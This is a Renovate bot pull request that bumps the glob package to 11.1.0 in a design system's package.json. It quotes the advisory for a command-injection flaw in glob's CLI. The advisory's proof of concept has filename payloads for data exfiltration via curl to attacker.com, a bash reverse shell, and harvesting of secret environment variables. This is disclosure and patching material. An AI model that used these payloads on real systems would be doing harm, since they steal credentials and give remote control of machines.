chore(deps): update dependency glob to v11.1.0 [security] (#6675)

This PR contains the following updates:

| Package | Change | Age | Confidence |
|---|---|---|---|
| [glob](https://redirect.github.com/isaacs/node-glob) | [`11.0.3` ->
`11.1.0`](https://renovatebot.com/diffs/npm/glob/11.0.3/11.1.0) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/glob/11.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/glob/11.0.3/11.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

### GitHub Vulnerability Alerts

####
[CVE-2025-64756](https://redirect.github.com/isaacs/node-glob/security/advisories/GHSA-5j98-mcp5-4vw2)

### Summary

The glob CLI contains a command injection vulnerability in its
`-c/--cmd` option that allows arbitrary command execution when
processing files with malicious names. When `glob -c <command>
<patterns>` is used, matched filenames are passed to a shell with
`shell: true`, enabling shell metacharacters in filenames to trigger
command injection and achieve arbitrary code execution under the user or
CI account privileges.

### Details

**Root Cause:**
The vulnerability exists in `src/bin.mts:277` where the CLI collects
glob matches and executes the supplied command using `foregroundChild()`
with `shell: true`:

```javascript
stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))
```

**Technical Flow:**
1. User runs `glob -c <command> <pattern>` 
2. CLI finds files matching the pattern
3. Matched filenames are collected into an array
4. Command is executed with matched filenames as arguments using `shell:
true`
5. Shell interprets metacharacters in filenames as command syntax
6. Malicious filenames execute arbitrary commands

**Affected Component:**
- **CLI Only:** The vulnerability affects only the command-line
interface
- **Library Safe:** The core glob library API (`glob()`, `globSync()`,
streams/iterators) is not affected
- **Shell Dependency:** Exploitation requires shell metacharacter
support (primarily POSIX systems)

**Attack Surface:**
- Files with names containing shell metacharacters: `$()`, backticks,
`;`, `&`, `|`, etc.
- Any directory where attackers can control filenames (PR branches,
archives, user uploads)
- CI/CD pipelines using `glob -c` on untrusted content

### PoC

**Setup Malicious File:**
```bash
mkdir test_directory && cd test_directory

# Create file with command injection payload in filename
touch '$(touch injected_poc)'
```

**Trigger Vulnerability:**
```bash

# Run glob CLI with -c option
node /path/to/glob/dist/esm/bin.mjs -c echo "**/*"
```

**Result:**
- The echo command executes normally
- **Additionally:** The `$(touch injected_poc)` in the filename is
evaluated by the shell
- A new file `injected_poc` is created, proving command execution
- Any command can be injected this way with full user privileges

**Advanced Payload Examples:**

**Data Exfiltration:**
```bash

# Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)
touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'
```

**Reverse Shell:**
```bash

# Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)
touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'
```

**Environment Variable Harvesting:**
```bash

# Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)
touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'
```

### Impact

**Arbitrary Command Execution:**
- Commands execute with full privileges of the user running glob CLI
- No privilege escalation required - runs as current user
- Access to environment variables, file system, and network

**Real-World Attack Scenarios:**

**1. CI/CD Pipeline Compromise:**
- Malicious PR adds files with crafted names to repository
- CI pipeline uses `glob -c` to process files (linting, testing,
deployment)
- Commands execute in CI environment with build secrets and deployment
credentials
- Potential for supply chain compromise through artifact tampering

**2. Developer Workstation Attack:**
- Developer clones repository or extracts archive containing malicious
filenames
- Local build scripts use `glob -c` for file processing
- Developer machine compromise with access to SSH keys, tokens, local
services

**3. Automated Processing Systems:**
- Services using glob CLI to process uploaded files or external content
- File uploads with malicious names trigger command execution
- Server-side compromise with potential for lateral movement

**4. Supply Chain Poisoning:**
- Malicious packages or themes include files with crafted names
- Build processes using glob CLI automatically process these files
- Wide distribution of compromise through package ecosystems

**Platform-Specific Risks:**
- **POSIX/Linux/macOS:** High risk due to flexible filename characters
and shell parsing
- **Windows:** Lower risk due to filename restrictions, but
vulnerability persists with PowerShell, Git Bash, WSL
- **Mixed Environments:** CI systems often use Linux containers
regardless of developer platform

### Affected Products

- **Ecosystem:** npm
- **Package name:** glob
- **Component:** CLI only (`src/bin.mts`)
- **Affected versions:** v10.2.0 through v11.0.3 (and likely later
versions until patched)
- **Introduced:** v10.2.0 (first release with CLI containing `-c/--cmd`
option)
- **Patched versions:** 11.1.0and 10.5.0

**Scope Limitation:**
- **Library API Not Affected:** Core glob functions (`glob()`,
`globSync()`, async iterators) are safe
- **CLI-Specific:** Only the command-line interface with `-c/--cmd`
option is vulnerable

### Remediation

- Upgrade to `[email protected]`, `[email protected]`, or higher, as soon as
possible.
- If any `glob` CLI actions fail, then convert commands containing
positional arguments, to use the `--cmd-arg`/`-g` option instead.
- As a last resort, use `--shell` to maintain `shell:true` behavior
until glob v12, but take care to ensure that no untrusted contents can
possibly be encountered in the file path results.

---

### Release Notes

<details>
<summary>isaacs/node-glob (glob)</summary>

###
[`v11.1.0`](https://redirect.github.com/isaacs/node-glob/compare/v11.0.3...v11.1.0)

[Compare
Source](https://redirect.github.com/isaacs/node-glob/compare/v11.0.3...v11.1.0)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" in timezone Europe/Zurich,
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/swisspost/design-system).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS4xNzMuMSIsInVwZGF0ZWRJblZlciI6IjQyLjEzLjUiLCJ0YXJnZXRCcmFuY2giOiJtYWluIiwibGFiZWxzIjpbIuKbk++4jyBkZXBlbmRlbmNpZXMiXX0=-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

Author: renovate[bot]

packages/styles/package.json

@@ -39,7 +39,7 @@
     "@types/node": "22.10.5",
     "autoprefixer": "10.4.21",
     "copyfiles": "2.4.1",
-    "glob": "11.0.3",
+    "glob": "11.1.0",
     "gulp": "5.0.1",
     "gulp-newer": "1.4.0",
     "gulp-postcss": "10.0.0",